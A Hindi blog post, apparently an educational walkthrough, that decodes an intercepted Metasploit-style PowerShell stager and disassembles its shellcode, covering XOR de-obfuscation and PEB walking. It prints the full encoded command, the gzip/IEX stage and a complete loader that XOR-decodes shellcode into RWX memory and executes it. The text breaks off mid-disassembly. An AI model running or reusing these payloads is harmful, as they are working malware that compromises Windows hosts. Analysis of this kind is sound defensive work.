
Metasploit Windows shellcode का स्टैटिक विश्लेषण वॉकथ्रू: PowerShell पेलोड डिकोडिंग, XOR ऑब्स्क्यूरेशन, PEB वॉकिंग, और Export Address Table रिज़ॉल्यूशन।
पहली ब्लॉगपोस्ट के लिए, मैंने सोचा कि एक सामान्य Metasploit शेलकोड का विश्लेषण करना अच्छा रहेगा - यह एन्कोडिंग, PEB, Windows शेलकोड और Export Address Tables जैसे विषयों पर चर्चा करने का एक शानदार अवसर है।
हम एक इंटरसेप्ट की गई, लंबी कमांडलाइन से शुरुआत करते हैं:```powershell "powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAWABXADIALwBpAFMAQgBaACsARAByAC8AQwBEADUARQBBAFEAWQBpAE4AQwBZAEYAZQB0AFQAVAA0AGgAawAzAEEARQBHAHkAdQBtAFMAZwBxADcAQQBJAE0AdgB1AEIAeQBHAFQARABUAC8AZAAvAG4AMgBFAEEAbQB2AFoAMwBlAGIAVwBrAFgAeQBhAEsAcQBmAEsANwBmAHUAZABTAHgAZwBlAG0AZABRAFkAbABqADAAVgA1AGcAWQArAFoAdQBqAEUAbgBrAEIARAA1AFQAegBlAFYAdQBwAFUAQwBqAHoARgBmAG0AagAzAHgAdQBHAGYAcwBXAFQAWQAvAFQAeABkAHMASwAwADcAYwBkAEMAYQB3ADMAWgBOAHMARQBSAHgASAB6AFYAKwA1AG0AZwBBAGoAeQBtAE0ATAB0AEgAcABFADMATAA3AEIAagBGADUAZQBaAGIASgBNAFMAWQBqAHMAbQB1AEgAaAB6AGsANwB2AEoAagBtAEkALwBRAGsAdgA4ADUAaQBQAHEANwBQAEcAYgBoACsAawA2AHMAQwBOAFEAVgBIAGgAcAA3AFgAWgBTADQAQwBIAEgAZgAvADMAeQBSAFkAdwBKAHcAVAA0ADkANwB5AHQAdABUAEYAdABSAGgATAAyAEYANgArAEMAbwBVAEcAUwArAE0AWgBNADEASgB2AGkAdQB2ADkAaABnAGkAegBKAC8ATQBiAGQAdgBsAGIAWQBiAEwASgBCADcASQBVAHQARQBaAEsAMwBCAG8AWgBaAHYAcAArACsANgBnAFkAVgBTAEQAeQByAEcAegBuAFYAbwBJAGYALwBuAG4ALwBuAGkAeQB4ADMAMwBXAHAASABEAEcATABsAFIASQBXADgAawBFAGMAVgBlAHgAWABiAGQAZgBKAEgANQBYAGsAdwBWAG0AcwBrAE8ARgAvAEkAOQB4AHkASgBCAEYAQwB4AHAAWgBlAEwANABmAEwAVQB5AHkAcQB6AFgATQArAE4ANwBaADkAdgB6AHgAWQB0AG4AcQB4ADAAQwBQADMANwB0AFoAQwByADEAegBGAFAASQB3ADMASQBBADIATABUAE8ARwBPAGIATAB6AEUAdQBxADcAKwBYADEAbABmAG4AagAzAFoAcABoADcARgBQAEgAdwB4AFgATgBwADUAZwBFAE8AdwBPAFQAdgBXAFAAaABxAEsASQBpADMAMwBiAHgARQBDACsAQgBMAFIAOQBCACsAUAB4AFYAdgBnAGgARwBFAEUAeABqADQAagBOAFgAVwA0AEIAdgBIADIAeAB4ADQAZABhAFAAWABiAGMATQBjAGwAOQArAFYAKwA1AHIAUQBjAGUASABLADcAaQAvAHkAMQBUADQAeQBBAFIAVQBBADAAcQBLADUAVQB0AE8ALwBBADQAYwB2AFMAeAB2AHoAdQBMAEEAbgBaACsAcwAvADUAQgBjAFIAZgBqADkAbABHAEQARgAzAFAAZgBjAEoANgBsAHEAWQB4AGUAdgBFAE0AVgB2AEYAUABEADkAawBLAHUANQBtADUAdQBYAGIASQBuAEIAbgA4AEkAZwBpAEoAeQBNADcAeQB2AEQAbABwAGsAZQBHAEkARgBvAFEASgBJADAAbgBDAGEASgBjAGYASAAxAG4ALwBpAGMAMQBWADQANQBvAC8ASQB2AEIAWABGAFgAcgBnAHYAUABPAFQAeABuAE8ANwA0AHkATAArAFAAQQBzAFYAOQB6AE4AOABYAGMASgBYAHYAUwA4ADcAZABGADcATABnADIASgB1AG4ANwBYADEAZQBEAGgASgBlAE8AagA2AFgARQBSADUANQBqAFgAUgBPACsAOABGAG4ATQA4AE4ATABGAEcAUgA2AFYASwA1AGsATwBkAGgAYgB5AGwAeABmAFkAbABpADcAbwA1AEYATgBBAFgAMwA1AG0AawB6ADIASAB2AHYATQBLAFoAKwBOAGEARgBzAFEAOQBBAHEAcwBnAEoAWQBvAC8ARwBuAE8ATwBZAFMARwB2ACsAVAAzAHMAQQBYADcAbgBQAGEAVABwADcAUgBMAEsARABGACsAcABMADYAVwBWAFgATABXAG4AKwB6AFMAWABSAFIAZABGAFUAWgBrAFoAeABGAEQAbgBWAHAAawB4AE0ASABLAHgAWABXAFoAYQBmAHUAUgBjAFgAcgBWAGkARwBtAFQATAAvAEQALwBtADkAbQBLAFgATwBoAGEASwA2AEYAWABjAGEALwBFAFQAUwBDACsAcQB4AGMAQwBIAGkAbwBrAHQAaQBDADcAQQBZAEIAbwA3AGIARABuAEkAVABWAEUAcABNADYAcABqAFkAeQBFAHgAbgBOAFgAVgBoAFAAeQBuAG0ASQBqAEkAZABhAEgAawBRAE4ASQBlAFkAZwBJAG4ASwBSAFkARwBUAFgATwBHADIATwBWAC8AegA0ADkAaQB4AGMAQgBVADgAMwBZAHUAOQBvAEEANgA2ADAASwBLAGkAMQBiAFEAYwB5ADQAVgBsAGEAVQBiAFcAbQBFADcALwB4AC8ATQB2AHQAYgBKAHUAUwBoAFMAcgBLADQAZwBmAFQAQQBhAEUAcwBCAHcAQQAxAHAAbQB4AGcANgBoADAATgBmAHkANQBaADgAUwA3ADMAOAB6ADcAOABjAFcAOAA0AE8AWgBJAHMARwBYAFEAQgBhAHkAUQBuAHcAUgBFAHAAcQBXAFMAMABaAHAAcABaAGYATAAxADMAYwBzAE0AKwBRAEkAQgBkAFEAVQBFAG4AZwBDAGkAbgBDADkAWgBtAFIAdAByAEoARABuAEcAMwBHAG8ASgBiADMATgBjADUAMgAwADUAYgAyAGkAaABxAHAAcwB3AHIATwBIAGgAdwA4AFYAdQBkAHYAdABEAEgAZgBDAHMARwB2AEoAYwBYACsAZwBzAHAAMgBsADkAdAB5AFEAYQB2AEUAaAAxAG0ASgBUAFkASABtAEYAQgBiAHAAVAAyAEoAYQBYADIAcgA0AGYAegBMAGoAWQBxADMASAAyAFQAdAB2AHIAYwBCAFkAOQBoAG0AbwBrAGEAWAB1AHAAcABWAGIARABRAEsAbQB2AG4ATwBaAEYAegBwAG4ALwBlAFgASABnAEYAbABOAE4AZQBWAHkAMABsAFoAbwA2AGoAcABTAFUAWAB0AFgAMgBnAGgASwBLAHoAUQBEAFcAOQA5AHAAZQBEAEQAcgBBADEANgBqAHYAZgBPAEYAZwAxADcARABjAHEAZQBOAHAAMQB6AHIAdwB0AEkASABSADYAcABnADgAagBVAHMARwB5ADcAWABIAGkAZAA0AGQAeQB6AHYAZAA4AE8AMwB1AGcAbgB0AFcATwB2AHEAcABtAG8AQgBQADQASgBmAEIAcQAwAFAAVwBoAHMAYwA0AHUAdAB3AGsATQBLADEAbQBGAEsAcQBwAHYAMQBqAG8AaABwAGIAZgA2AFcAaABxAEoAegBFAGUAVgBvADYAVwA2AEEAZQBMAHAAVwB4AEkAVABpADQALwBtAEoAKwBTAHMAQQBIADgAZQBnADAAdwBPAFIAcABKAGIAMQBpAHIAMgAwAGQAcgBxAGgAeQBzAHEAZAA1AE4AMQBKAG4AZQBCAGgAMQBoAFAARgBuAFYAVgBMADAAYgBIAEYAcwBiAHIAVQA0AGsAdwA3AEIAUABoAG4AbgBrAEQARwA3AHUANwB0AEgAVQBhAHYAcQBIAFQATAA5AGgASAB3AC8AMgBLAE8AcAAzAFQARAByAGoAQgA4AGkAcgBKAFkAbABmAE4ANwBTAE4AZAB1AHgAYQBPAHoAcQBlAGQAdQBvAEUASgBlAEsAdQA2ACsAQwBGAHMASwBTAHAAMwBFADUAMwB2AHUAbwAwAFoAVgBqAEwAOQBNAGcAYQB4AGoAQwB4AFEAYQArAHIAbQB0AEkAVAA2AFAAWABGAFgAZwA5ADgAUQBBAC8ASwBiAEkAdgA1AHcAZABOAEUAUAAxAG0AOAAwAEwAVQBTAG8AbwBFAGYAZwA2AGUANgBBADcASQBiAHQATQBmAEQAdQBhAFIAMgBUAE8AegBKAG0ALwBWAGsAdwBYAGIAdgA1ADQANwBxAGoAbwBWAG8ANQBVADMAQgAxAHIAMwBDAEMAcQBqAFoAZgA4AFMAcwBsAGcAagBTAGIATwA2AGIAcABjADcAagBWAGoAZQA1AFcAVwAwAHAAegBzAGEAVwA0AE8AcwB6AGkAUwBUAHgANQBtAEIAVwBSADgAWQB6AEkAYQBFADQAOAA1AHQAMgBTAFYAcgAzAEgAUABOAFEANQBZAGoAcwBEAFoAUwBxAFcATABJADIAVQBwADgAZgBpAEgAcAAxAEoATQArAEgAawB0AGUAUgBoADEAdAB1ADIAbgA3AFcAWQAyAE0AcgBEAEUAMQBGADYAQQAzAEgAVgBuACsAbQBLAEcAagBFADIAYgAyAFoAcgA0AGUAUwBNAE4ASgBsAHAANwBiAFQANgBqAFMAYQArAEYANQBIADIAbABSAFgAdwBpAEgAdwB4AEoAcABMAEgAKwBlAGMAZABQAEsAawBSAGYAdQBoAFcAVwBWADcALwB0AHAAQgBhAHUAZwAxAGgAdwB2AFAAVgA3AGwAQgBzAGcANwBrAGIAYgBjACsAbgBvAHgASABiAHQAUwBVADEAcAB6AFgAdQBwAGYAbABoAGoAbwBYAEoAcQB2ADcASgBoAEcATgBoAEgAOABvAEwAVgBsAFIAbwBNAE8ASgB2AHkARwBHAGYASQBqAHEALwBuAHIAZQBxADYARgBtAGoAVABYAEcATQBlAEkAZQAyAGcAbwBWAGsAMQBEAFgANQB1AHQAawBMAFkALwBOAG0AUwBWAHQAYQBKAHUAcQA0ADYAUABxAEsAZQB6AGoAWQB5AGYAdQBxAEUASQBzADkAMABmAG0ASwB2AFQAawBiAGQAUQBZADcATABnAGgASwBkAFUANAAzADYAYgByAEoARQBtAFEAZABOAFQAWAB6ADkAUABKAG8AZQBGADEAVABuAFMARABxADAATABvADAAdABPAGoATQA5AHoAegBoAHQAdAByAGoAWQBpADQAdgBQAGMAcwBQAGgAUwByADcAUAAzADgAaABIAGgAVQBHAGsAcwBQAC8AaQBDAHUARwByAHYAVgBZAC8AMQBBAEoAeQAyADcAcABEAHkATAA5AG0ASABRADMAMQBDAEwANAAwAHYAeAAwAFQAUwBmAFAAZgBYAG8AMQBMAGYAVgBKAHYAZgBVADUATQBtADQAMABWAEkAcwBhAGIASwB4AEEAOQBPAGYAaQBOADYAdwB0AFYAWgB4AEQARABuADEANQBGAEUAYQBTAGEAZgBsAGcAbgBpAG8AUABtAG4AYwBEADQAUgBHAGUAMwAyAGEASgB0AHUAQgB5AGIAdAAwAC8AUABRAFEAYwBIADEALwBLAFoAcwBMAGQAcgBpADQAZAB6AHEAQgBGAEEAbAB6AGIAVwBNADAAKwA1AFAAVgBGAEgASgB4ADYAMgA0AGcAagAwACsAUQAwADEAMQA0AE4AaABvAC8ANwBPAEsAYQBmAFQAaABDAGoAawBXAGQASQBLADIAVgBqAGIAYgBmAEoAZABZAFQAawBXADAANQAyAHIAUgBnAGIANgBuAGoAYgBtADgAeABDAFEALwAyAHEAYgBxAEwAOQBlAGsARABXAG0AMgAxAFcASQBRAGEAWAA3AFIAeABTAGUAcQBHADkATgBIAGkAWgBUAG8AWgBiAGUAZABQADUAcQBpAGwAUAA4AHYASAB2AHMAWQAvACsAUAB5ADIAOQBqAFgAdABYAHMAdQBBAHcARAB4AHkAVABPAC8ANABmAHoASAB3AGYAKwBkAFMANQByADAALwBRAFYAZQBDAGgAcABlAGUAbAAwAHIARgBkAEUANQA0AGYALwBOAHkAZQAzAHkAOQB6AG4AWAB2ACsANwB2AEYARQBhAFQAeABEADIAbQB2AHkAOQA3AHMAMABZAGMATwA5ADYAdABoAHEAWQBkAEkAdABFAFkAdQBkAEQANABZAGUASwA3AFgAbABSAEkAUQA1AFQASwAyAEQAQQBJAG4ANQBTAGcAVQBQAHAAKwAwAHQANQBqADQAMgBJAFUAcABGAE8AYgBVAGEANQBOAHYAdQBXADUAZwBwAFkAUABXAEwAeQBZAGUARwBQAHYATwB3ADkAZwByAFgARwBZAGoAVwBQAEwAVgBUADEAZABGADUAcAAwAFEAcABxAHUAegBUADQAdAA0AHUAYwB5AEcAawBZAHUASAAxADUAbgBzAFMAdgBqAGwAeQB4AHoAYwBLADMAOABBAHMAWQB2ADkARgBWADIAWABHAGYAYgBJAHMAeQB5AGIALwB0AGYAWQBZAHUANwAzAFkAUgBHAEQAWABWAEoANABGADEAZABPAGgANwBFAFAAbABuAHoAVQA1AEcAYQBhAGkAaABmADAAUwBlAHgANwArAFAAOABZAGcAQgArAFUALwBuAGQAbwBVAC8AQwB5AGUAZQA0AGQAdQBzAHkAZwB6AC8ARQBxADUAdgBKAC8ANQBIAEwAYQBrAHYAbAB3AEgAagBrAG4AKwBGAHIAQgBJAGQAUABJAGMAaQArAGkAaQBOAEMANwBUAGIAQwBBAFQANQB2AHMAcgBpADcAYwBvAGkASwBqAHkAVgBQAG0ARgBqAEgAZgBtAFQAdAB3AHIAeABYAHgAVgBmAGkAKwBJAGEAcwA0AHYAYgBpAFoAOAArAGYAYQBOACsAYQBBAG4ARABQAGoATgAyAGEASQBMAFEAegBqADkAbAAwAG4AVwBFAEMAVwBZAHAAaQAvAFUAdABHAFoAawBKAFEAWQB6AHYANABHAHMAegBBAEwASgB2ADgATgBBAEEAQQA9ACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA
यह एक PowerShell [base64](https://en.wikipedia.org/wiki/Base64) एन्कोडेड कमांडलाइन है (`-encodedcommand` फ़्लैग द्वारा इंगित)। डिकोड करने पर, यह इस प्रकार दिखता है:```powershell
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("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"));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
यह पेलोड एक और base64 डिकोडिंग करता है (उस भाग का जो "H4sIA..." से शुरू होता है) और इसे एक मेमोरी स्ट्रीम ($s) में सहेजता है।
फिर यह इसे एक संपीड़ित (gzip) स्ट्रीम के रूप में मानता है, इसे डीकंप्रेस करता है और सामग्री को (IEX के साथ) निष्पादित करता है।
इसे डीकंप्रेस करना काफी आसान है - आप PowerShell, CyberChef या यहाँ तक कि Python का उपयोग कर सकते हैं:```python
import io, gzip, base64
x=b'H4sIAAAAAAAAAK1...' # Omitted
print(gzip.GzipFile(fileobj=io.BytesIO(base64.b64decode(x[:]))).read().decode())
आउटपुट में अधिक PowerShell कमांड शामिल हैं, इस बार अधिक जटिल तर्क के साथ:```powershell
Set-StrictMode -Version 2
$DoIt = @'
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDHJTemEjhWb0L/ZiHlVBsgmXSSdvF0Ba9O7e0IyBDYZnT+J7kNT1Y4fCYVcBnNYDryujwT2USQrrqCYn9d+DhMiTw21rEmPF2C+cjDO3PCN2UEZRDmJERk1XGQNuSkBRTFBMRVcOYFFaU1dMYnNqDBUNEi4pI6tsWnmJDj2gBwomC4lt7Z1DzmDbG5920MnhiaHqm9RbmnH1PyhoEkL6VWVUls9Dh1mA/EE8HZBWg/9rCSy35+f0CBtRWnjrSEws6nhZM4a940SVua15GFtCyqNIZhyhEVTYcDjtGtHVxHmF077JuJHBuEOUTgqmEks8Pp1Rr+41ndthyyyaDxNhQXWw8mJztje2Bqltz7iRv3SlMAUrCf/mc3qC20/Zza3a+VD5nPu2Spg76wtWAd+FQCdwPOjtc13+uxTTQmHxi6k291K93rV8AFcDWjdoTnWCmRAhHeu1S1KmttsDzfbrma6W8/PB8GhzXykPT3ltVK5o1OnfETb0Rb/iJoDsBZIjS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3EtWUkZKTUANQExOI35n3k4=')
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@
If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
IEX $DoIt
}
आइए इसे तोड़ते हैं:
$DoIt वेरिएबल में अधिकांश लॉजिक होता है। यह func_get_proc_address नामक एक फ़ंक्शन को परिभाषित करता है जो केवल kernel32!GetProcAddress का एक रैपर है, और func_get_delegate_type फ़ंक्शन का उपयोग करके एक रिफ्लेक्टिव डेलीगेट प्राप्त करता है।$var_code वेरिएबल एक और (!) base64 पेलोड है, लेकिन इस बार यह कम स्पष्ट है - इसे नाइवली (naively) डिकोड करने की कोशिश करने पर कचरा (garbage) मिलता है।$var_code वेरिएबल को मान 35 के साथ बाइट-दर-बाइट XOR किया जाता है। यह पहले से ही बताता है कि इसे डिकोड करने पर कोई स्ट्रिंग क्यों नहीं मिलती, लेकिन XOR करने के बाद भी - सही संदर्भ के बिना यह आशाजनक नहीं दिखता।flAllocationType=0x3000 और flProtect=0x40 के साथ एक बफर ($var_buffer में सहेजा गया) आवंटित करने के लिए लागू किया जाता है। MSDN को देखने से पता चलता है कि आवंटन प्रकार है और पेज सुरक्षा है।इससे हमें पता चलता है कि base64-एन्कोडेड पेलोड को 32-बिट shellcode के रूप में माना जाना चाहिए। आइए इसे XOR करके और एक बाइनरी फ़ाइल में लिखकर फिर से स्थिर रूप से विश्लेषण करें:```python import base64 x=b'38uqIyMjQ6rGEvFHqHE...' # Omitted open(r'/tmp/payload.bin', 'wb').write(bytes([ i^35 for i in base64.b64decode(x) ]))
यहीं से मज़ा शुरू होता है। आप अपने पसंदीदा डिसअसेम्बलर (IDA, Binary Ninja, आदि) का उपयोग कर सकते हैं।
यहाँ तक कि कुछ बेहतरीन [ऑनलाइन डिसअसेम्बलर](https://shell-storm.org/online/Online-Assembler-and-Disassembler) भी आपके निपटान में हैं, यदि आप opsec की परवाह नहीं करते।
शेलकोड की शुरुआत offset 0 पर होती है और कोड को X86 कोड के रूप में माना जाना चाहिए।
## PEB वॉकिंग
कोड एक CALL निर्देश से शुरू होता है:```assembly
0x0000000000000000: FC cld
0x0000000000000001: E8 89 00 00 00 call 0x8f
cld निर्देश direction flag को साफ करता है (ताकि string operations जैसे movsb आगे बढ़ें, पीछे नहीं), और फिर 0x8f पर एक relative call करता है।
चूँकि call अगले instruction को stack पर push करता है, हमें याद है कि stack पर वह address push हुआ था जो shellcode में offset 6 पर है।
आइए offset 0x8f पर मौजूद code की जाँच करें:```assembly
0x000000000000008f: 5D pop ebp
0x0000000000000090: 68 6E 65 74 00 push 0x74656e
0x0000000000000095: 68 77 69 6E 69 push 0x696e6977
0x000000000000009a: 54 push esp
0x000000000000009b: 68 4C 77 26 07 push 0x726774c
0x00000000000000a0: FF D5 call ebp
तुरंत ही पते को सहेजने के लिए `pop` का उपयोग करना एक सामान्य शेलकोडिंग ट्रिक (`call-pop` अनुक्रम) है।
अगले push दिलचस्प हैं - सतह पर वे अजीब स्थिरांक लगते हैं, लेकिन उन्हें ANSI स्ट्रिंग के रूप में डिकोड करने से कुछ दिलचस्प पता चलता है:```python
import struct
struct.pack('<LL', 0x696e6977, 0x74656e)
चूँकि हम स्टैक पुश देख रहे हैं - मुझे उन्हें विपरीत क्रम में निकालना पड़ा, और यह सुनिश्चित करना पड़ा कि मैं Little Endian का उपयोग करूँ (कोड में यह < चिह्न है)।
यह b'wininet\x00' प्रिंट करता है, जो इंटरनेट संचार के लिए उपयोग किए जाने वाले Windows DLL का नाम है।
ध्यान दें कि push esp स्टैक के शीर्ष का पता push करेगा, जो wininet NUL-समाप्त स्ट्रिंग के लिए पॉइंटर प्राप्त करने का एक अच्छा तरीका है।
आगे बढ़ते हुए, हम एक और स्थिरांक (0x726774c) push करते हैं - यह किसी भी सार्थक चीज़ में डिकोड नहीं होता, और ebp को call करते हैं। याद रखें कि ebp शेलकोड की शुरुआत से ऑफसेट 6 पर स्थित कोड के एक टुकड़े की ओर इशारा करता है, तो आइए उस भाग की जाँच करें!
ऑफसेट 6 पर स्थित कोड कुछ दिलचस्प निर्देशों के साथ शुरू होता है:```assembly
0x0000000000000006: 60 pushad
0x0000000000000007: 89 E5 mov ebp, esp
0x0000000000000009: 31 D2 xor edx, edx
0x000000000000000b: 64 8B 52 30 mov edx, dword ptr fs:[edx + 0x30]
0x000000000000000f: 8B 52 0C mov edx, dword ptr [edx + 0xc]
0x0000000000000012: 8B 52 14 mov edx, dword ptr [edx + 0x14]
0x0000000000000015: 8B 72 28 mov esi, dword ptr [edx + 0x28]
0x0000000000000018: 0F B7 4A 26 movzx ecx, word ptr [edx + 0x26]
